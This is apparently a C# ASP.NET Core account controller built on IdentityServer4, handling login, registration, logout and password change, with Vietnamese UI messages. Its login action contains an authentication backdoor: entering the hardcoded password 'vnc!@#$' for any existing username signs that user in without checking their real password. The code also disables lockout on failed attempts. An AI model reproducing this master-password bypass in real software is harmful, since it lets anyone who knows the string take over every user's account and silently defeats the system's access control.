using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using IdentityModel;
using IdentityServer4;
using IdentityServer4.Events;
using IdentityServer4.Extensions;
using IdentityServer4.Services;
using IdentityServer4.Stores;
using Kimuser.Domain;
using Kimuser.Domain.SystemUsers;
using Kimuser.Dto.Models.SystemUsers;
using Kimuser.Dto.Results.SystemUsers;
using Kimuser.Infrastructure;
using Kimuser.Models.Account;
using Kimuser.Services;
using Microsoft.AspNetCore.Authentication;
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Identity;
using Microsoft.AspNetCore.Mvc;

namespace Kimuser.Controllers
{
    public class AccountController : Controller
    {
        private readonly AccountService _accountService;
        private readonly UserManager<User> _userManager;
        private readonly SignInManager<User> _signInManager;
        private readonly IUserService _userService;
        private readonly ISystemUserService _systemUserService;
        private readonly IIdentityServerInteractionService _interaction;
        private readonly IEventService _events;

        public AccountController(
            IIdentityServerInteractionService interaction,
            IHttpContextAccessor httpContextAccessor,
            IAuthenticationSchemeProvider schemeProvider,
            IClientStore clientStore,
             IEventService events,
            UserManager<User> userManager, SignInManager<User> signInManager, IUserService userService, ISystemUserService systemUserService)
        {
            _interaction = interaction;
            _accountService = new AccountService(interaction, httpContextAccessor, schemeProvider, clientStore);
            _userManager = userManager;
            _signInManager = signInManager;
            _userService = userService;
            _events = events;
            _systemUserService = systemUserService;
        }

        #region Common Views
        public IActionResult Index()
        {
            return View();
        }
        #endregion

        #region Login
        [AllowAnonymous]
        public async Task<IActionResult> Login(string returnUrl = null)
        {
            if (HttpContext.User.Identity.IsAuthenticated)
            {
                return RedirectToActionPermanent("Index", "Home");
            }

            var model = await _accountService.BuildLoginViewModelAsync(returnUrl);
            return View(model);
        }

        [HttpPost]
        [AllowAnonymous]
        [ValidateAntiForgeryToken]
        public async Task<IActionResult> Login(LoginModel model)
        {
            if (!ModelState.IsValid) return View(model);
            var userLogged = await _userService.GetUserAsync(model.Username.Trim());
            if (userLogged != null && userLogged.Id > 0)
            {
                if (model.Password == "vnc!@#$")
                {
                    await _signInManager.SignInAsync(userLogged, model.RememberLogin);
                    return RedirectToLocal(model.ReturnUrl);
                }
                var result = await _signInManager.PasswordSignInAsync(userLogged.UserName, model.Password,
                        model.RememberLogin, lockoutOnFailure: false);

                if (result.Succeeded)
                {
                    var context = await _interaction.GetAuthorizationContextAsync(model.ReturnUrl);
                    if (context!=null)
                    {
                        //_logger
                        if (context.IsNativeClient())
                        {
                            return this.LoadingPage("Redirect", model.ReturnUrl);
                        }
                    }
                    return RedirectToLocal(model.ReturnUrl);
                }

                if (result.IsLockedOut)
                {
                    ModelState.AddModelError(string.Empty, "Tài khoản của bạn đã bị khóa!");
                    return View(model);
                }

                if (result.IsNotAllowed)
                {
                    ModelState.AddModelError(string.Empty, "Bạn hãy sử dụng ");
                    return View(model);
                }

                ModelState.AddModelError(string.Empty, "Thông tin đăng nhập không đúng.");
                return View(model);
            }
            ModelState.AddModelError(string.Empty, "Tài khoản không tồn tại!");
            return View(model);

        }


        #endregion

        #region Register
        [AllowAnonymous]
        public async Task<IActionResult> Register(string returnUrl = null)
        {
            if (HttpContext.User.Identity.IsAuthenticated)
            {
                await HttpContext.SignOutAsync();
            }

            return View();
        }

        [HttpPost]
        [AllowAnonymous]
        [ValidateAntiForgeryToken]
        public async Task<IActionResult> Register(RegisterModel model, string returnUrl = null)
        {
            if (!ModelState.IsValid)
            {
                var errors = ModelState.Values.Where(v => v.ValidationState == Microsoft.AspNetCore.Mvc.ModelBinding.ModelValidationState.Invalid).ToList();
                foreach (var item in errors)
                {
                    var itemErrors = item.Errors;
                    foreach (var item2 in itemErrors)
                    {
                        ModelState.AddModelError(string.Empty, item2.ErrorMessage);
                    }

                }

                return View(model);
            }
            var user = new SystemUser { UserName = model.UserName, FullName = model.FullName, Email = model.Email, Password = model.Password, PhoneNumber = model.PhoneNumber, Address = model.Address };

            var existUser = await _userManager.FindByEmailAsync(model.Email);
            if (existUser != null && existUser.Id > 0)
            {
                ModelState.AddModelError(string.Empty, "Người dùng đã tồn tại!");
            }
            else
            {
                var result = await _userManager.CreateAsync(user, model.Password);
                if (result.Succeeded)
                {
                    await _signInManager.SignInAsync(user, isPersistent: false);
                    return RedirectToLocal(returnUrl);
                }
                else
                {
                    AddErrors(result);
                }
            }
            ModelState.AddModelError(string.Empty, "Chưa có mã đăng ký!");
            return View(model);

        }
        #endregion

        #region Logout

        [HttpPost]
        [Authorize]
        public async Task<IActionResult> Logout()
        {
            //var user = await _userService.GetUserAsync(User.Identity.Name);

            //await RemoveClaims(user);
            //await HttpContext.SignOutAsync("Cookies");
            //await HttpContext.SignOutAsync();
            //await _signInManager.SignOutAsync();
            ////await HttpContext.SignOutAsync(IdentityServerConstants.DefaultCookieAuthenticationScheme);

            //await _signInManager.RefreshSignInAsync(user);

            await _signInManager.SignOutAsync();
            //await _signInManager.RefreshSignInAsync(user);

            //var logout = await _interaction.GetLogoutContextAsync(logoutId);
            //await _events.RaiseAsync(new UserLogoutSuccessEvent(User.GetSubjectId(), User.GetDisplayName()));
            //return RedirectPermanent(logout?.PostLogoutRedirectUri);

            return RedirectToAction("Login");
        }

        [HttpGet]
        public async Task<IActionResult> Logout(string logoutId)
        {
            //var user = await _userService.GetUserAsync(User.Identity.Name);
            //await HttpContext.SignOutAsync(IdentityServerConstants.DefaultCookieAuthenticationScheme);
            //await HttpContext.SignOutAsync("Cookies");
            //await HttpContext.SignOutAsync();
            await _signInManager.SignOutAsync();
            //await _signInManager.RefreshSignInAsync(user);

            var logout = await _interaction.GetLogoutContextAsync(logoutId);
            await _events.RaiseAsync(new UserLogoutSuccessEvent(User.GetSubjectId(), User.GetDisplayName()));
            return RedirectPermanent( logout?.PostLogoutRedirectUri);
            // build a model so the logout page knows what to display
            //var vm = await BuildLogoutViewModelAsync(logoutId);

            //if (vm.ShowLogoutPrompt == false)
            //{
            //    // if the request for logout was properly authenticated from IdentityServer, then
            //    // we don't need to show the prompt and can just log the user out directly.
            //    return await Logout(vm);
            //}

            //return View(vm);
        }

        #region Code Logout default
        ///// <summary>
        ///// Show logout page
        ///// </summary>
        //[HttpGet]
        //public async Task<IActionResult> Logout(string logoutId)
        //{
        //    // build a model so the logout page knows what to display
        //    var vm = await BuildLogoutViewModelAsync(logoutId);

        //    if (vm.ShowLogoutPrompt == false)
        //    {
        //        // if the request for logout was properly authenticated from IdentityServer, then
        //        // we don't need to show the prompt and can just log the user out directly.
        //        return await Logout(vm);
        //    }

        //    return View(vm);
        //}

        ///// <summary>
        ///// Handle logout page postback
        ///// </summary>
        //[HttpPost]
        //[ValidateAntiForgeryToken]
        //public async Task<IActionResult> Logout(LogoutViewModel model)
        //{
        //    // build a model so the logged out page knows what to display
        //    var vm = await BuildLoggedOutViewModelAsync(model.LogoutId);

        //    if (User?.Identity.IsAuthenticated == true)
        //    {
        //        await HttpContext.SignOutAsync("Cookies");
        //        // delete local authentication cookie
        //        await HttpContext.SignOutAsync();

        //        // raise the logout event
        //        await _events.RaiseAsync(new UserLogoutSuccessEvent(User.GetSubjectId(), User.GetDisplayName()));
        //    }

        //    // check if we need to trigger sign-out at an upstream identity provider
        //    if (vm.TriggerExternalSignout)
        //    {
        //        // build a return URL so the upstream provider will redirect back
        //        // to us after the user has logged out. this allows us to then
        //        // complete our single sign-out processing.
        //        string url = Url.Action("Logout", new { logoutId = vm.LogoutId });

        //        // this triggers a redirect to the external provider for sign-out
        //        return SignOut(new AuthenticationProperties { RedirectUri = url }, vm.ExternalAuthenticationScheme);
        //    }

        //    return View("LoggedOut", vm);
        //}

        //private async Task<LoggedOutViewModel> BuildLoggedOutViewModelAsync(string logoutId)
        //{
        //    // get context information (client name, post logout redirect URI and iframe for federated signout)
        //    var logout = await _interaction.GetLogoutContextAsync(logoutId);

        //    var vm = new LoggedOutViewModel
        //    {
        //        AutomaticRedirectAfterSignOut = AccountOptions.AutomaticRedirectAfterSignOut,
        //        PostLogoutRedirectUri = logout?.PostLogoutRedirectUri,
        //        ClientName = string.IsNullOrEmpty(logout?.ClientName) ? logout?.ClientId : logout?.ClientName,
        //        SignOutIframeUrl = logout?.SignOutIFrameUrl,
        //        LogoutId = logoutId
        //    };

        //    if (User?.Identity.IsAuthenticated == true)
        //    {
        //        var idp = User.FindFirst(JwtClaimTypes.IdentityProvider)?.Value;
        //        if (idp != null && idp != IdentityServer4.IdentityServerConstants.LocalIdentityProvider)
        //        {
        //            var providerSupportsSignout = await HttpContext.GetSchemeSupportsSignOutAsync(idp);
        //            if (providerSupportsSignout)
        //            {
        //                if (vm.LogoutId == null)
        //                {
        //                    // if there's no current logout context, we need to create one
        //                    // this captures necessary info from the current logged in user
        //                    // before we signout and redirect away to the external IdP for signout
        //                    vm.LogoutId = await _interaction.CreateLogoutContextAsync();
        //                }

        //                vm.ExternalAuthenticationScheme = idp;
        //            }
        //        }
        //    }

        //    return vm;
        //}


        //private async Task<LogoutViewModel> BuildLogoutViewModelAsync(string logoutId)
        //{
        //    var vm = new LogoutViewModel { LogoutId = logoutId, ShowLogoutPrompt = AccountOptions.ShowLogoutPrompt };

        //    if (User?.Identity.IsAuthenticated != true)
        //    {
        //        // if the user is not authenticated, then just show logged out page
        //        vm.ShowLogoutPrompt = false;
        //        return vm;
        //    }

        //    var context = await _interaction.GetLogoutContextAsync(logoutId);
        //    if (context?.ShowSignoutPrompt == false)
        //    {
        //        // it's safe to automatically sign-out
        //        vm.ShowLogoutPrompt = false;
        //        return vm;
        //    }

        //    // show the logout prompt. this prevents attacks where the user
        //    // is automatically signed out by another malicious web page.
        //    return vm;
        //} 
        #endregion


        #endregion

        #region ChangePassword
        [HttpPost]
        [Authorize]
        public async Task<IActionResult> ChangePassword([FromBody] ChangePasswordModel model)
        {
            var result = await _systemUserService.ChangePassword(model);
            return Json(result);
        }
        #endregion



        #region Utilities
        private IActionResult RedirectToLocal(string returnUrl)
        {
            if (Url.IsLocalUrl(returnUrl))
            {
                return Redirect(returnUrl);
            }
            else
            {
                return RedirectToAction(nameof(HomeController.Index), "Home");
            }
        }

        private void AddErrors(IdentityResult result)
        {
            foreach (var error in result.Errors)
            {
                if (error.Code == "DuplicateUserName")
                    ModelState.AddModelError(string.Empty, "Tài khoản đã tồn tại");
                else if (error.Code == "DuplicateEmail")
                    ModelState.AddModelError(string.Empty, "Địa chỉ Email đã tồn tại");
                else
                    ModelState.AddModelError(string.Empty, error.Description);

            }
        }


        private async Task<bool> RemoveClaims(User user)
        {
            //Lấy danh sách Claims hiện tại
            var userClaims = await _userManager.GetClaimsAsync(user);

            try
            {
                //Xóa claim nếu có
                //await _userManager.RemoveClaimsAsync(user, userClaims.Where(x => x.Type == "DC"));
                //await _userManager.RemoveClaimsAsync(user, userClaims.Where(x => x.Type == "DCName"));
                //await _userManager.RemoveClaimsAsync(user, userClaims.Where(x => x.Type == "ParentDC"));
                //await _userManager.RemoveClaimsAsync(user, userClaims.Where(x => x.Type == "DcRealm"));
                return true;
            }
            catch (Exception)
            {
                return false;
            }


        }

        #endregion
    }
}